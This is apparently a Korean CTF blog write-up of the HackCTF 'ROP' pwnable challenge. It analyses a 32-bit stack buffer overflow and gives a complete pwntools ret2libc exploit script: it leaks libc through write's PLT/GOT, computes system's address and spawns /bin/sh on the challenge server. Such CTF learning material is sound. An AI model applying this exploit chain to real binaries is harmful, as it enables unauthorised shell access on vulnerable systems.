[HackCTF] ROP
System/PWNABLE

[HackCTF] ROP

728x90

checksec

- 32bit

- No Canary

- NX

+) 라이브러리 파일(libc.so.6)이 따로 있으므로 이 점 주의

Analyze

pseudo code

main 함수
vulnerable_function() 함수

vulnerable_function 함수에서 buf를 0x88byte만큼 할당하고 read함수를 통해 0x100 byte 읽으면서 stack buffer overflow가 발생한다. 

write함수의 plt와 got 값을 이용해 libc를 leak하도록 한다 >> 가젯을 찾아야한다.

gadgets

read함수와 write함수 모두 인자를 3개씩 가지는 함수이므로 pppr 가젯을 찾아야한다.

pop esi ; pop edi ; pop ebp ; ret ; 가젯 주소 = 0x8048509

pop ebp ; ret ; 가젯 주소 = 0x804850b

 

Exploit

from pwn import *
#context.log_level = 'debug'

#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz",3021)

elf = ELF("./rop")
libc = ELF("./libc.so.6")
binsh = binsh_offset = libc.search("/bin/sh").next()
vulnerable_function = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
write_got = elf.got['write']
system_off = libc.symbols['system']
write_off = libc.symbols['write']

pr = 0x804850b
pppr = 0x8048509
one_gadget = 0x3ac6c

pl = "A"*(0x88+4)
pl += p32(write_plt)
pl += p32(pppr)
pl += p32(1)
pl += p32(write_got)
pl += p32(4)
pl += p32(vulnerable_function)

p.send(pl)

write_add = u32(p.recv(4))
print("write-address: "+hex(write_add))
libcbase = write_add - write_off
print("libc-base: "+hex(libcbase))
system_add = system_off + libcbase
print("system-address: "+hex(system_add))

pl = "A"*(0x88 + 4)
pl += p32(system_add)
pl += p32(pr)
pl += p32(binsh+libcbase)
p.send(pl)

p.interactive()

! 성공 !

라이브러리 내에서 "/bin/sh"의 문자열을 찾는 폰 툴: libc.search("/bin/sh").next()

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] offset  (2) 2021.02.03
[HackCTF] basic_bof2  (2) 2021.02.01
[HackCTF] bof_basic  (1) 2021.01.22
[POXX 2020] tips  (0) 2021.01.19
[POXX 2020] investigator  (0) 2021.01.19